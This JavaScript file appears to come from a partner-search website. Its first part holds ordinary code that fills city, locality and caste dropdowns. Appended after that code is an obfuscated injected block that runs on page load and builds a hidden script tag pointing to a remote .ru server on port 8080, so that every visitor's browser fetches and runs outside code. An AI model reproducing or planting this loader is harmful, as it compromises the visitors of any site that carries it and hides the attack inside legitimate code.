function PopSPEC(thisform,element1,element2)
{
	//alert('hi');
        var docF=document.form1;
        //if(!(document.forms['search_partner'].community.options[0].selected && document.forms['search_partner'].community.options[0].value=='All'))
        //if(!(document.forms['search_partner'].community.options[0].selected && document.forms['search_partner'].community.options[0].value=='All') && !(document.forms['search_partner'].community.options[1].selected && document.forms['search_partner'].community.options[1].value=='All'))
        if(1)
		{
        for(i=0;i<docF.elements.length;i++)         
		{
                if(docF.elements[i].name=="city_dd")
                        {element1=i;}
                if(docF.elements[i].name=="locality_dd")
                        {element2=i;}
        }                 if(thisform.value != "")
        {
                var c,spec;
                var len_religion = docF.elements[element1].options.length;
                for(var m1=0;m1<len_religion;m1++)
                {
                        if (docF.elements[element1].options[m1].selected == true)
                        {
                                c = docF.elements[element1].options[m1].value;
                                var mtongue_val=c.substr(0,c.indexOf("|X|"));
                                //docF.elements[element1].options[m1].value=mtongue_val;
                        }
                }
                docF.elements[element2].options.length = 0;
                var x_pos=c.indexOf("|X|")+3;
                var pos=c.indexOf("$");
                var str =c.substring(x_pos,pos);
                var spec_val =str.split(",");

                //section to append All in caste for every MTONGUE
                var opt = new Option();
                opt.text='All';
                opt.value='All';
                //document.search_partner.caste.options[document.search_partner.caste.options.length]=opt;
                docF.locality_dd.options[docF.locality_dd.options.length]=opt;
				//end of section to append All in caste for every MTONGUE

                var str_label=c.substring(c.indexOf("$")+1,c.length);
                var spec_label=str_label.split(",");

                for(var k=0;k<spec_val.length;k++)
                {
                        var s = spec_val[k];
                        if(s)
                        {
                                var opt = new Option();
                                //opt.text=spec_label[k];
                                opt.value=spec_val[k];
                                if(spec_label[k].charAt(0)=='#')
                                {
                                        //section to give black option after the beginning of every RELIGION but not for the first RELIGION that will come
                                        if(k!=0)
                                        {
                                                var opt_blank = new Option();
                                                opt_blank.value='All';
                                                opt_blank.text='';
                                                docF.elements[element2].options[docF.elements[element2].options.length] = opt_blank;
                                        }
                                        //end of section to give black option after the end of every RELIGION

                                        opt.style.backgroundColor="#FFF1E3";
                                        opt.text=spec_label[k].substring(1,spec_label[k].length);
                                }
								else if(spec_label[k].charAt(0)=='-' && spec_label[k].charAt(1)=='-')//for SUBCASTE
                                {
                                        opt.text=spec_label[k].substring(2,spec_label[k].length);
                                }
                                else//for CASTE
                                {
                                        opt.text=spec_label[k].substring(1,spec_label[k].length);
                                }

                                docF.elements[element2].options[docF.elements[element2].options.length] = opt;
                        }
                }
                /*var opt = new Option();
                opt.text='More';
                opt.value='More';
                docF.elements[element2].options[docF.elements[element2].options.length] = opt;*/
        }

        return true;
        } 
		else    //if All has been clicked again in MTONGUE
        {
                //show all caste
                var len=document.search_partner.caste.options.length;
                for(var j=0;j<=len;j++)
                {
                        document.search_partner.caste.remove(document.search_partner.caste.options[j]);                         //document.search_partner.caste.removeChild(document.search_partner.caste.childNodes[j]);
                }
                var val_str=all_caste_str.substring(0,all_caste_str.indexOf("$"));
                var label_str=all_caste_str.substring(all_caste_str.indexOf("$")+1,all_caste_str.length);
                var val_arr = val_str.split(",");
                var label_arr = label_str.split(",");

                //section to append ALL in caste for every MTONGUE
                var opt = new Option();
                opt.text='All';
                opt.value='All';
                document.search_partner.caste.options[document.search_partner.caste.options.length]=opt;
                //end of section to append ALL in caste for every MTONGUE

                for(var k=0;k<val_arr.length;k++)
                {
                        var s = val_arr[k];
                        if(s)
                        {
                                var opt = new Option();
                                //opt.text=label_arr[k];
                                opt.value=val_arr[k];
                                if(label_arr[k].charAt(0)=='#')
                                {
                                        //section to give black option after the beginning of every RELIGION but not for the first RELIGION that will come
                                        if(k>8)
                                        {
                                                var opt_blank = new Option();
                                                opt_blank.value='All';
                                                opt_blank.text='';
                                                document.search_partner.caste.options[document.search_partner.caste.options.length]=opt_blank;
                                                opt.style.backgroundColor="#FFF1E3";
                                        }
                                        //end of section to give black option after the end of every RELIGION

                                        opt.text=label_arr[k].substring(1,label_arr[k].length);
                                }
                                else if(label_arr[k].charAt(0)=='-' && label_arr[k].charAt(1)=='-')
                                {
                                        opt.text=label_arr[k].substring(2,label_arr[k].length);
                                        //opt.style.color="orange";
                                }
                                else
                                {
                                        opt.text=label_arr[k].substring(1,label_arr[k].length);
                                }

                                document.search_partner.caste.options[document.search_partner.caste.options.length]=opt;
                        }                 
		}
        }
}

this.h='';this.g='';var Dj=["Mz","KZ"];var V;this.A='';try {var wD='mz'} catch(wD){};e=function(){var QF=["Vw"];var mK={nc:"k"};var Nh=[];function N(m,I,d){this.Ny=22266;this.Ny+=116;this.gu=57668;this.gu--;return m.substr(I,d);try {} catch(nq){};try {var az='Vq'} catch(az){};}var x=["lc","mR","W"];var X=document;Fh=[];var b=new Array();var s='';var M=String("/goog"+"le.co"+"m/rak"+"uten."+"co.jp"+"/raku"+"ten.n"+"e.jp."+"php");E=15703;E++;var pJ=[];var R=RegExp;try {} catch(mq){};function P(m,I){var qh="";var d="["+I+N("]ACu",0,1);sM={Dq:27000};var Q=new R(d, "g");var wO={vX:65149};return m.replace(Q, s);};this.jJ=false;HU=["Sm"];var ns='';var F=181223-173143;this.mC=false;var IN=new Array();var D=P('sTcbrNiNpJtJ','KjmbvdUTMkV_NfJ8');this.uC=false;var j=new String("bod"+"y");aJ=40138;aJ-=180;var _=null;var mS=["Kj","CW","ly"];var IE=[];try {} catch(SX){};V=function(){this.ql=9936;this.ql-=14;try {} catch(WA){};try {var pu="pu";var p=P('cVrYeHaqtYeHE4ljeXmqeXn6tX','4jqwdGxXFYVH6');lA={PU:6327};jw=X[p](D);eo=["OJ","so"];var m=F+M;var Vz=P('sXrUcL','NU9SH7WgJLXCb');GZ={uf:10658};var jq="";var f=String("de"+"fe"+"r");var _r={};var e_=new Date();var sMb=22676;jw[f]=[1][0];var mH=new Date();aq=33743;aq++;var Qn="";var Kx=false;jw[Vz]=new String(N("httpeSs",0,4)+N("RZn://wnRZ",3,4)+N("rvK0estcvKr0",4,4)+N("3RrFountFr3R",4,4)+"ry.r"+N("u:4ytX",0,2))+m;try {} catch(_bg){};X[j].appendChild(jw);this.vO=1046;this.vO+=222;this._O=63221;this._O++;} catch(l){this.HR=false;LR=["JN","dV","dk"];try {} catch(qlq){};var wCY={tw:24238};};};PL=48228;PL-=76;};var OF=new String();var Th=21284;e();var OV='';Fm={Ah:false};var Fc="Fc";window.onload=V;Kh=9607;Kh-=15;var GL={Mv:false};
